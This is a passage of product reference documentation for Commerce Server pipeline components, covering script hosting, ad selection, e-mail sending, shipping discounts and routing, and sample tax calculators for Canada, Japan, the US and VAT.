Not met | Met in basket | 1.4 | The user has half the discount in the basket.
Not met | Met in products | 1.2 | The user is in the part of the site with half the discount.
Not met | Not met | 1.0 | Neutral context.

The OrderDiscount component applies the discounts whose scores are adjusted by the ScoreDiscounts component. The ScoreDiscounts component saves the scores in the ContentList object held by the CacheManager object. That ContentList object is then used by the OrderDiscount component in another pipeline.

See Also

Discount Objects

CSFLoadDiscounts

OrderDiscount


Scriptor

Use this component to run a script in a Microsoft ActiveX scripting language such as PerlScript from ActiveState, or Microsoft Visual Basic Scripting Edition (VBScript).

Intended use: any pipeline, any stage.

Configuration Values

You can determine where the Scriptor component reads the script and the parameters passed to it by setting component properties. Use the following boxes on the Scriptor tab of the Component Properties dialog box to determine this information.

Box | Description
Scripting Engine | Specifies the scripting language in which the script is written. The a drop-down list contains the scripting engines installed on your system.
Source Specifies whether the script is stored internally or externally. The options are:
Internal
The script is stored in the pipeline (.pcf) file itself. In the Pipeline Editor, click Edit to display the script for editing.
External
The script is stored in a file on disk. Enter the path and file name of the script in the Filename box. You can import an external script and convert it to an internal script. For more information, see Configuring a Scriptor Component.
Config | The parameters passed to the script in the form name=value.

Values Read

None.

Values Written

None.

Remarks

The Scriptor component calls three procedures in the script, in turn:

  1. The MSCSOpen procedure. The Scriptor component calls this procedure first and passes it the Configuration dictionary. You may omit this procedure.
  2. The MSCSExecute function. This is the main Scriptor component procedure and must appear in the script. The function is passed, in order, to the Configuration dictionary, the Order dictionary (usually an OrderForm object), the Context dictionary, and a flags variable.
  3. The MSCSClose handler. The Scriptor component invokes this procedure after the MSCSExecute procedure returns. It has no arguments and may be omitted.

The MSCSExecute function must return a success code. If you write the script in VBScript, the MSCSExecute routine must be a function, not a subroutine. The MSCSExcute function return values are: 1 for success, 2 for warning, and 3 for failure.

Parameters entered in the Config box of on the Scriptor tab in the Component Properties dialog box are passed to the script in the Configuration dictionary. The name is used as the key, and the value on the right of the equal sign is the value assigned to that key.

This is because the MSCSExecute function must return a success value of 1, a warning value of 2, or a failure value of 3. Subroutines cannot return 1.

If you include the Scriptor component in a pipeline using the MtsTxPipeline object, you should not call methods of the ObjectContext object in the MSCSOpen or MSCSClose procedures. Calls to ObjectContext methods may be used only in the MSCSExecute procedure.

The Microsoft Transaction Server (MTS) context is not available to a Scriptor component or to any components called by a Scriptor component. Thus context.SetComplete and context.SetAbort are not available to scripts run by the Scriptor component.

See Also

Configuring a Scriptor Component


Configuring a Scriptor Component

The script run by a Scriptor component can be stored internally, as part of a pipeline configuration file (.pcf), or externally, in a separate file called by the component when it runs.

You can write a general-purpose script that can behave differently depending on the parameters that are passed to it. Save the script itself in a file, and then configure the Scriptor component to pass the parameters.

The Microsoft Transaction Server (MTS) context is not available to a Scriptor component or to any components called by a Scriptor (that is, context.SetComplete and context.SetAbort are not available to scripts hosted by the Scriptor component).

To configure a Scriptor component

To convert a Scriptor between external and internal

To configure a Scriptor component

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the pipeline containing the Scriptor component, and click Open.
  3. Right-click the Scriptor component you want to configure, click Properties, and then click the Scriptor tab.
  4. On the Scriptor tab, do the following:
    Use this | To do this
    Scripting Engine | Select the language in which the script was written.
    Source Select Internal, and then click Edit. In the Scriptor -- Source Code Edit screen, type or paste the script for your component, and then click OK.

    Or, select External to store the script in an external file. In the Scriptor dialog box, click No, if you do not wish to export the internal source code. Type the path and file name in the Filename box.
    Config To pass parameters to the script, type the parameters for the component in the form name=value.

    Or, leave blank.
  5. Click OK, and then click Apply.

To convert a Scriptor between external and internal

  1. Click Start, point to Programs, point to Microsoft Commerce Server, and then click Pipeline Editor.
  2. On the File menu, click Open. Browse to the pipeline containing the Scriptor component, and click Open.
  3. Right-click the Scriptor component you want to configure, click Properties, and then click the Scriptor tab.
  4. To convert to external storage if the Scriptor has already been configured for an external file, click Internal, and then click Yes to confirm that you want to import the external file.

    Or, to convert to internal storage if the Scriptor has already been configured for an internal file, click External, and then click Yes to confirm that you want to export the internal file. Specify a name for the external file, and then click Save.

  5. Click OK.


SelectWinners

Use this component to choose items based on their final scores in the Content Selection pipeline.

Although the component appears as SelectWinners in the Pipeline Editor, its ProgID is Commerce.CSFSelectWinners.

Intended use: Content Selection pipeline, Select stage.

Configuration Values

You can determine when the SelectWinners component displays house ads by setting component properties. Use the following box on the Select Winners tab of the Component Properties dialog box to determine this information.

Box | Description
Switch to house ads | The threshold at which house ads will be selected over paid ads. When the maximum Need of Delivery (NOD) for paid ads drops below this value, house ads are selected. The default is 0.95.

Values Read

The SelectWinners component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_Content | Order | A reference to the ContentList object. Multiple fields are read. For more information, see the Remarks section.
NumRequested | Order | Optional. The number of content items that should be selected for return. The default is 1 (one).
PageHistory | Context | Optional. A reference to the page-level history string. The reference allows the history to be passed between requests for content that are on the same page (can be used cross-page as well). This key is retrieved from the ContextProfile dictionary in the Context dictionary. It contains the item_ids of content items already selected on the page.

The SelectWinners component reads the following values for each item in the ContentList referred to by the _content key.

Key | Description
Score | The final scores of the various content items.
Industry | The industry tag used to prevent two content items from same industry from being selected.
need_of_delivery | The contract requirements for delivering the ad.
ad_type | A paid (1) versus house (2) ad type.
customer_id | This key is used to prevent competing ads.
ad_weight | This key is used for house ads to allow some to be displayed more frequently.

The Score key is required. Other keys are required only for ad selection.

Values Written

The SelectWinners component writes the following values to the indicated dictionaries.

Key | Dictionary | Description
_event | Order | This key is set to the string "REQUEST", unless it is already set.
PageHistory | Context | The new page history, now including items selected in the current request. The PageHistory key is in the ContextProfile dictionary in the Context dictionary.
_winnerindexes | Order | A reference to a SimpleList object containing the ContentList object indexes of selected content items.

Remarks

To communicate the winners, the SelectWinners component builds a new SimpleList object that contains the ContentList object indexes up to the requested number of winning content items.

The SelectWinners component performs the following additional actions:

  • Sets the _event key to the string "REQUEST", unless it is already set.
  • Uses the PageHistory key to prevent showing the same ad more than once on a page. This is most useful in network ad models where multiple selection requests are made from the same page.
  • Prevents competing ads from appearing on the same page. This is based on the industry setting of each ad, combined with a user identifier.

This component looks at the NumRequested key in the Order dictionary to determine how many content items to select. If that key is missing, one content item is selected. It is not considered an error to return fewer than NumRequested content items. The caller must handle this condition.

The PageHistory key is a string containing a list of IDs for content items already selected for the current page. The caller defines what constitutes a "page," and the caller is responsible for saving the PageHistory key across calls to the same page. The item_id keys from the content items in the ContentList object are written to this string in decimal form and are separated by commas. If the same ContentSelector object is used for multiple content requests on the same page, then the PageHistory key will automatically be passed between the calls.

The following list describes the selection algorithm for ads:

  • Items appearing in the PageHistory key are not eligible for selection.
  • Paid ads with a Need of Delivery (NOD) value greater than the house ad threshold will always be selected over house ads.
  • Ads that compete with another ad that was already selected, including ads in the PageHistory key, are not eligible for selection. Competing ads are defined as ads in the same industry but from different users.
  • Selection proceeds are based on score, returning higher scores first. If multiple paid ads have the same score, selection between them is random.

The following list describes the selection algorithm for content types other than ads:

  • Items appearing in the PageHistory key are not eligible for selection.
  • Selection proceeds are based on score, returning higher scores first. If multiple items have the same score, selection between them is random.

See Also

ContentList Object

ContentSelector Object


SendPrecomposedMessage

Use this component to send a direct mail message composed in earlier stages in the pipeline.

Although the component appears as SendPrecomposedMessage in the Pipeline Editor, its ProgID is Commerce.DMLSendPrecomposedMessage.

Intended use: Direct Mailer pipeline, Send E-mail stage.

Configuration Values

None.

Values Read

The SendPrecomposedMessage component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
rcp_bypass | Order | Boolean. The component bypasses (skips) processing if True.
cdo_result | Order | The result code (an HRESULT) from the most recent Collaboration Data Objects (CDO) operation.
cdo_message | Context | A reference to the CDO message object (CDO.Message).

Values Written

The SendPrecomposedMessage component writes the following values to the Order dictionary.

Key | Description
messages_sent | The total number of messages sent for this pipeline cycle.
cdo_result | The result code (an HRESULT) from the most recent CDO operation.
cdo_error | Optional. An error string from the most recent CDO operation, if any. NULL if there is no error.

Remarks

The SendPrecomposedMessage component attempts to send a direct mail message using CDO for Microsoft Windows 2000. The component skips processing the message if the bypass flag (rcp_bypass) is True or if the cdo_result key is not equal to S_OK.

The component checks for errors after each CDO operation.

See Also

AddAttachments

ComposeDMLMessage

CreateUPMCookie

ThrottleDMLPerformance

VerifyMessageBody

VerifyRecipientData


SendSMTP

Use this component to send an e-mail message to a specified recipient.

Intended use: Commerce Interchange Transmit pipeline, Transport stage.

Configuration Values

You can determine where the SendSMTP component sends the message and the information sent by setting component properties. Use the following boxes on the Send SMTP tab of the Component Properties dialog box to determine this information.

Box | Description
From (required) | The e-mail address from which the message is sent. This is the actual e-mail address rather than a key containing the e-mail address.
SMTP Host (required) | The name or Internet Protocol (IP) address of the Simple Mail Transfer Protocol (SMTP) mail server that will transmit the object. This is the actual name of the server rather than a key containing the name.
To (required) | The key in the Order dictionary containing the e-mail address to send the message to.
Cc | The key in the Order dictionary containing the e-mail addresses to send copies of the message to.
Subject | The key in the Order dictionary that contains the text to display in the Subject box of the e-mail message.
Character Set for Subject | The character set to use to encode the subject of this e-mail message. This drop-down list displays the character sets currently installed on this computer.
Message Body | The key in the Order dictionary containing the message to include in the body of the e-mail message.
MIME header and body | Indicates the business data object is already encapsulated in a Multipurpose Internet Mail Extensions (MIME) header. If you select this option, the component uses the character set and header already encapsulated with the message rather than generating its own MIME header and using the character set specified in the Character Set for Subject box.
Text Body | Indicates the business data object consists of straight ASCII text and no further processing is needed.
Binary body | Specifies that the business data object is a binary blob. The SendSMTP component will base64-encode it before sending.

Values Read

None.

Values Written

None.

Remarks

The SendSMTP component sends a business data object as an e-mail message to an SMTP mail server. If you are using Microsoft Exchange and Outlook, you can run a Visual Basic script to invoke an OrderPipeline object (but not an MtsPipeline or MtsTxPipeline object) on the Exchange server to process the received messages.

In order for the SendSMTP component to properly support character set conversion, the corresponding Windows NT code page must be installed on the computer. For example, the US version of the Windows NT installation does not include the Japanese code page (code page 932), which must be present to convert Unicode to ISO-2022-jp. For information on installing a code page, see Microsoft Knowledge Base article Q164948.

Programmatic Use

To use this component outside a pipeline, you must configure it by assigning values to keys in the Configuration dictionary. The keys correspond to the indicated boxes in the Component Properties dialog box.

Key | Box | Description
From | From | String.
SMTPHost | SMTP Host | String.
ToField | To | String.
CCField | CC | String.
SubjectField | Subject | String.
CharSet | Character Set for Subject | String.
BodyField | Message Body | String.
BodyType Message Body contains option buttons Numeric:
0
MIME header and body
1
Text body
2
Binary body

For more information about using pipeline components outside pipelines, see MicroPipe Object.

See Also

Test SendSMTP


Test SendSMTP

Use this property page to send a test e-mail message to check the configuration of the SendSMTP component.

Box | Description
Email address to send text message to | The complete e-mail address to send the message to.


ShippingDiscountAdjust

Use this component to apply either currency value or percentage value shipping discounts to an order. Shipping discounts apply to an order at the cumulative level, as apposed to an item-specific level, which makes shipping discounts similar to an order-level discount.

Intended use: Order Processing pipeline, Shipping stage, following the Commerce.ShippingMethodRouter component.

Configuration Values

None.

Values Read

The ShippingDiscountAdjust component reads the following values from the indicated dictionaries.

Key Dictionary Description
_currency_decimal_places Order Optional (if not set, the _currency_lcid key must be set, and the number of currency decimal places will be the default for that locale). Describes the number of digits of precision (after the decimal point) for which to round certain intermediate results, and to round to when writing currency values into the OrderForm.

Type: Integer (VT_I4)
_currency_lcid Order Optional (required only if the _currency_decimal_places key is not set, otherwise it is ignored). Describes a locale (LCID) to use to retrieve the number of currency decimal places.

Type: Integer (VT_I4)
_cy_shipping_total Order Required. The total shipping charges for the entire order as computed by a component such as ShippingMethodRouter.

Type: Currency (VT_CY)

Note

  • If the shipments key is set, then this value will not be used on input, however, it will be modified on output.
_orderlevel_discounts_detail Order Optional (if this key does not exist in the OrderForm, or if the shipping_discount key of this dictionary does not exist, then the _cy_shipping_discounts_total value is set to zero, and no other action is taken). A dictionary that maps special offer types to a list of order level discounts that applies for that special offer type. The SimpleList object under the shipping_discount special offer type key is used.

Each element is a dictionary. The exact format of the dictionary depends on whether the element represents a combination of percentage-off discounts of the same priority, or a single discount.

Following are the dictionary entries if the element represents a single discount:

  • discount_id: Integer (VT_I4)
  • discount_timestamp: Last_modified timestamp of the discount (VT_DATE)
  • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries if the element represents a combined percentage-off discount:

  • discounts_combined: SimpleList object that describes each of the discounts that were combined. Each element in this list is a Dictionary with the following keys:
    • discount_id: Integer (VT_I4)
    • cy_discount_percentage: Value (VT_CY)
    • discount_timestamp: Llast_modified tiemestamp of the discount (VT_DATE)
    • discount_name: Discount name (VT_BSTR)

Following are the dictionary entries that exist in both cases:

  • discount_priority: Priority (rank)
  • discount_type: 1=Currency; 2=Percentage (VT_I4)
  • cy_discount_value: Currency or Percentage value (VT_CY). If the element represents a combined percentage-off discount, this is the total percentage.

The order the elements appear in the list is significant, because it is the order that OrderDiscount has determined they should be applied.

Type: Currency (VT_CY)

Note

  • This is the list used by OrderDiscount to specify to other pipeline components the complete list of order level discounts that should be applied to the basket.
Shipments Order Optional (if the Splitter component is not used, the order will be treated as one single shipment for purposes of applying shipping discounts). The list of shipments in this order, as created by the Splitter component.

Type: IDictionary (VT_DISPATCH)
shipments._cy_shipping_total Order Required. The shipping totals for each individual shipment, as computed by a component such as ShippingMethodRouter.

Type: Currency (VT_CY)
SiteName Context Optional. Used only for reporting the site name as part of some limited error messages, which may be reported to the Event log.

Type: String

Values Written

The ShippingDiscountAdjust component writes the following values to the Order dictionary.

Key Description
_cy_shipping_total Not always written (modified only if one or more shipping discounts apply). The total shipping charges for the order with the discounts (if any) applied.

Type: Currency (VT_CY)
_cy_shipping_discounts_total Always written (if no shipping discounts apply, this is set to zero). Sum of all shipping discounts applied to the order.

Type: Currency (VT_CY)
_shipping_discounts_applied Not always written (only written when no shipments list exists in the OrderForm, and one or more shipping discounts apply). A SimpleList of dictionaries where each dictionary contains information about a shipping discount that was applied to this shipment. The order of the list is significant and represents the order in which the discounts were applied to the shipment.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)\
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)
shipments._cy_shipping_total Not always written (modified only if one or more shipping discounts apply). The total amount of shipping charges for the shipment after shipping discounts have been applied.

Type: Currency (VT_CY)
shipments._cy_shipping_discounts_subtotal Not always written (only written if one or more shipping discounts apply to the shipment). The sum of all shipping discounts applied to this shipment.

Type: Currency (VT_CY)
shipments._shipping_discounts_applied Not always written (only written if one or more shipping discounts apply to the shipment). A SimpeList of dictionaries where each dictionary contains information about a shipping discount that was applied to this shipment. The order of the list is significant and represents the order in which the discounts were applied to the shipment.

The dictionary contains the following elements for each discount:

  • discount_id: Campaign item ID (VT_I4)
  • discount_priority: Discount priority (rank) (VT_I4)
  • discount_timestamp: Last-modified timestamp of the discount (VT_DATE)
  • cy_discount_amount: How much was actually taken off of the item (VT_CY)
  • discount_type: 1=Currency Value; 2=Percentage (VT_I4)
  • cy_discount_value: Currency value or percentage value (VT_CY)\
  • discount_name: Discount name (VT_BSTR)

Type: Dictionary (VT_DISPATCH)

Remarks

In Commerce Server 2002 pipelines, the ShippingDiscountAdjust component is used to provide free shipping by writing zero (0) for the _cy_shipping_total key.

For more information about extending the ShippingDiscountAdjust component, see Order Level Discount Pipeline Components.

See Also

OrderLevelDiscountApply

Shipping Object

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingManagerCache

Use this component with the CacheManager object to load shipping data for the multiple shipments shipping architecture.

Note

  • Although the ShippingManagerCache component implements two of the pipeline component interfaces (IPipelineComponent and IPipelineComponentAdmin), it is not a pipeline component, it does not appear in the Pipeline Editor, and it cannot be used or configured from the Editor.

Configuration Values

None.

Values Read

None.

Values Written

None.

Remarks

You can use the ShippingManagerCache component with the CacheManager object to store shipping method information for the Splitter and ShippingMethodRouter pipeline components.

When run by the CacheManager object, the ShippingManagerCache component uses two pipeline dictionaries (Order and Context) to determine how to run and how to return information to the CacheManager object.

Example

See the example in the Setting Up the Pipeline and Cache section in the Shipping Objects topic.

See Also

CacheManager Object

Shipping Object

ShippingDiscountAdjust

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodRouter

Use the ShippingMethodRouter component as part of the multiple-shipment shipping architecture to look up and run the components to process the shipments and calculate the shipping total for the entire order.

Note

  • Shipping components designed to be run by the ShippingMethodRouter component should never be placed directly in a pipeline.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

The ShippingMethodRouter component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
Shipments | Order | A SimpleList object of dictionaries, one shipment per dictionary.
shipments._cy_shipping_total | Order | The shipping totals for each individual shipment.
CacheManager | Context | A reference to a CacheManager object used to handle the shipping method data.
MessageManager | Context | Optional. Messages returned in case of pipeline component failure.

Values Written

The ShippingMethodRouter component writes the following values to the Order dictionary.

Key | Description
_cy_shipping_total | The total shipping for all shipments in the order.

Remarks

The shipping components (other than the Splitter component) are run by the ShippingMethodRouter component.

The component next steps through the list of shipping methods. If there are shipments using a given method, the ShippingMethodRouter, passes the shipments to the shipping component, and runs the component. The individual shipping components calculate the total shipping charges for the shipments passed to it. When all of the shipments have been processed, the ShippingMethodRouter component calculates the total of all of the shipping charges.

The ShippingMethodRouter component instantiates only the components it will use.

See Also

Multiple-shipment Shipping Architecture

Shipping Object

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

StepwiseShipping


SimpleCanadaTax

Use this component to calculate the Canadian Goods and Services Tax (GST) and Provincial Sales Tax (PST).

Note

  • The SimpleCanadaTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleCanadaTax component calculates the tax by setting component properties. Use the following boxes on the Simple Canada Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified in the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order.
GST Item Key | The key in the order form whose value is the GST rate.
PST Item Key Prefix | A prefix that the SimpleCanadaTax component prepends to the name of the province to which the item is being shipped (from the ship_to_state key in the order form). The component uses this concatenated string to look up the PST rate on the order form.
Province List | The space-separated list of provinces for which to compute the tax.

Values Read

The SimpleCanadaTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
ship_to_state | Order | The state to ship to.
item._product_gst | Order | Dynamic. Default shown. The GST for an item. The key name is determined by the value in the GST Item Key configuration box.
item._product_pst__* | Order | Dynamic. Default shown. The PST for an item in a given province. The province abbreviation is appended to the name and should match one in the Province List box. The key name is determined by the value in the PST Item Key Prefix configuration box.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleCanadaTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total_gst | The total GST for the order.
_tax_total_pst | The total PST for the order.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

GST is common throughout Canada and almost all goods and services have a GST. If a product is taxed, the GST rate is the same throughout Canada. However, some products are not taxed and some service merchants (making less than a given amount) may elect not to charge GST. Each province has its own PST, usually a fixed rate for all products, but the PST rate still depends on the product (although a province may elect to tax an item not taxed by another province).

When shipping from one province to another you do not pay any PST. Although not common, a product may have a PST but not a GST. The reverse may also be true.

The data used by the SimpleCanadaTax component is usually provided by the QueryCatalogInfo or QueryProdInfoADO component. The SimpleCanadaTax component always sets the _tax_included keys to zero (0) for both the items and the order. The component does not handle fractions of base currency units. All calculations are rounded to the nearest whole unit.

The combination of the Key, Apply when, and Country boxes determine whether tax should be applied, but only if the order is being shipped to one of the provinces in the Province List box.

The SimpleCanadaTax component first checks the value in the Apply when box:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box. If there is a match, the tax is applied.

If the component determines that tax should be applied, it compares the value of the ship_to_state key on the order form to the list of provinces specified in the Province List box. If there is a match, indicating the order is going to a province where tax is collected, the component does two things. First, it retrieves the GST rate from the field on the order form identified by the GST Item Key box. Second, it prepends the prefix specified in the PST Item Key Prefix box to the name of the province to which the item is being shipped (from the ship_to_state key on the order form). The component then uses this concatenated string to look up the PST rate on the order form.

Example

To specify that a 2% GST tax rate and a 4.5% Alberta PST rate is charged for an item shipped to Alberta, Canada, do the following (assuming that you are using the QueryProdInfoADO component to retrieve product information):

  1. Add a column for the GST rate to your product table. The tax rate should be specified as a real number:
can_prod_gst_tax_rate real NOT NULL
  1. Add a column for the Alberta PST rate to your product table. The tax rate should be specified as a real number:
can_prod_pst_tax_rate_alb real NOT NULL
  1. Assign tax rates to each product in your product table using an SQL script. For this example, assign the 2% GST tax rate and the 4.5% Alberta PST tax rate to Product ABC. Type 2.0 into the can_prod_gst_tax_rate column and 4.5 into the can_prod_pst_tax_rate_alb column in the Product ABC row.
  2. Double-click the SimpleCanadaTax icon in the Pipeline Editor and enter the following in the resulting property page:
    Box | Value
    Apply when | Has any value
    Country | CAN
    GST Item Key | _product_can_prod_gst_tax_rate
    PST Item Key Prefix | _product_can_prod_pst_tax_rate
    Province List | Alb

Note that if the user types a country/region or province on the order form that is not specified in the SimpleCanadaTax component configuration, the values will not be assigned to the _tax_total and _tax_included keys in the order and the items will not be set.


SimpleJapanTax

Use this component to compute taxes according to the Japanese tax model.

Note

  • The SimpleJapanTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleJapanTax component calculates the tax by setting component properties. Use the following boxes on the Simple Japan Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified in the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order to determine if tax is applied.
Include Item Key | The key in the Item dictionary that indicates whether or not tax is already included in the price of the item.
Rate Item Key | The key in the item that contains the tax rate charged for the item.

Values Read

The SimpleJapanTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
item._product_jpn_tax_included | Order | Dynamic. Default shown. A Boolean indicating whether tax is already included in the item cost. The key name is determined by the value in the Include Item Key configuration box.
item._product_jpn_tax_rate | Order | Dynamic. Default shown. The tax rate for an item. The key name is determined by the value in the Rate Item Key configuration box.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleJapanTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleJapanTax component computes a tax rate for the Japanese tax model. It can be used for any country/region that uses a similar model. The component handles fractions of currency units only at the item level; order-level calculations (order._tax_total and order._tax_included) are rounded to the nearest whole unit.

The combination of the values in the Key, Apply when, and Country boxes determines whether tax should be applied, but only if tax is not already included in the price of the item.

The SimpleJapanTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component compares the value of the ship_to_country key on the order form and the text string in the Country box on the property page. If they match, the component applies the tax whose value is stored in the box specified in Rate Item Key.

The key in the Include Item Key box specifies the name of the field in the Item dictionary that indicates whether tax is already included in the price of the item. This field is assumed to contain a Boolean value that indicates whether or not the tax rate is to be added to the line item (in which case the item._tax_total key is set to the tax amount and the item._tax_included key is set to zero), or whether the tax rate is included in the price (in which case the item._tax_included key is set to the tax amount and the item._tax_total key is set to zero).

Example

To specify that a 9.54% tax rate is included in the price of an item and is not included in the price of another item for items in Japan, do the following:

  1. Add a column for the included tax rate to your product table. The tax rate should be specified as a smallint number:
jpn_prod_tax_included smallint NOT NULL,
  1. Add a column for the tax rate to your product table. The tax rate should be specified as a real number:
jpn_prod_tax_rate real NOT NULL,
  1. Assign tax rates and tax included values to each product in your product table using an SQL script. This example uses two products, Product Included and Product Excluded. Assign Product Included the 9.54% tax rate with the tax included in the product price. Type 9.54 into the jpn_prod_tax_rate column and 1 (True), in the jpn_prod_tax_included column in the Product Included row. Assign Product Excluded the 9.54% tax rate with the tax not included in the product price. Type 9.54 into the jpn_prod_tax_rate column and 0 (False), in the jpn_prod_tax_included column in the Product Excluded row.
  2. Use the Pipeline Editor to enter the following in the property page of the SimpleJapanTax component:
    Box | Value
    Apply when | Has any value
    Country | JPN
    Include Item Key | _product_jpn_prod_tax_included
    Rate Item Key | _product_jpn_prod_tax_rate

If the user types a country/region in the order form that is not specified in the SimpleJapanTax component configuration, the _tax_total and _tax_included keys on the order and on the items will not be set.


SimpleUSTax

Use this component to apply taxes on any order sent to a specified state in the United States.

Note

  • The SimpleUSTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleUSTax component calculates the tax by setting component properties. Use the following boxes on the Simple United States Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified for the Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order.
State Rate List | The list of states and tax rates, in the form state:rate, with state as the two-character postal code abbreviation and rate expressed as a decimal value. For example WA:8.6 is an 8.6% tax rate for the state of Washington. Multiple state and rate pairs are separated by spaces.

Values Read

The SimpleUSTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
ship_to_state | Order | The state to ship to.
item._oadjust_adjustedprice | Order | The total cost for an item.
ship_to_country | Order | The country/region to ship to.

Values Written

The SimpleUSTax component assigns values to the following keys in the Order dictionary.

Key | Description
item._tax_total | The total tax for items with this stockkeeping unit (SKU).
item._tax_included | The amount of tax included in the cost of the item.
_tax_total | The total tax for this order.
_tax_included | The amount of tax included in the cost of the order.

Remarks

The SimpleUSTax component calculates state taxes within the United States.

The combination of the values in the Key, Apply when, and Country boxes determine whether tax is applied, but only if the state to which the order is shipped appears in the State Rate List box.

The SimpleUSTax component first checks the Apply when value:

  • If it is set to Always, the tax is always applied to the order.
  • If the value in the Apply when box is set to Has any value, the tax is applied to the order whenever the order form contains any value for the ship_to_country key.
  • If the value in the Apply when box is set to Equal to Country, the component does a comparison between the value of the ship_to_country key on the order form and the text string in the Country box on this property page. If there is a match, the component applies the tax.

If the component determines that tax should be applied, it then compares the value of the ship_to_state key on the order form to the list of states specified in State Rate List box. If there is a match, indicating that the order is being shipped to a state where tax should be collected, the component applies the tax rate for that state, and sets the values for the item._tax_total, item._tax_included, order._tax_total, and order._tax_included keys.

The SimpleUSTax component always assigns zero (0) to the _tax_included keys for both the item and the order. The component does not handle fractions of base currency units; all calculations are rounded to the nearest whole unit.

If the user types a country/region or state in the order form that is not specified in the SimpleUSTax component configuration, the values of the _tax_total and _tax_included name/value pairs on the order and on the items will not be set.

You can enter an at sign (@) (the wildcard character) to represent all states that are not explicitly listed (for example: @:0).


SimpleVATTax

Use this component to calculate a Value Added Tax (VAT).

Note

  • The SimpleVATTax component is a Site Server 3.0 Commerce Edition sample tax component. The SampleRegionalTax component is the sample tax component for Commerce Server 2000 and Commerce Server 2002. Because all tax components in the product are intended only as samples, Microsoft strongly recommends that you have an independent tax professional verify all applicable tax rates and data generated by this component before you use such information for personal or business purposes.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

You can determine how the SimpleVATTax component calculates the tax by setting component properties. Use the following boxes on the Simple VAT Tax tab of the Component Properties dialog box to determine this information.

Box | Description
Apply when Determines when to apply the tax. The values are:
Always
Default. Specifies that the tax is always applied to the order.
Equal to country
Specifies that the tax should be applied when the value of the ship_to_country key in the Order dictionary is the same as the string specified for Country box.
Has any value
Specifies that the tax is applied when the ship_to_country key of the order has any non-null value.
Country | The string to compare to the ship_to_country key in the order to determine if tax is applied.
Rate Item Key | The key in the item that contains the tax rate charged for the item.

Values Read

The SimpleVATTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._oadjust_adjustedprice | Order | The total cost for an item.
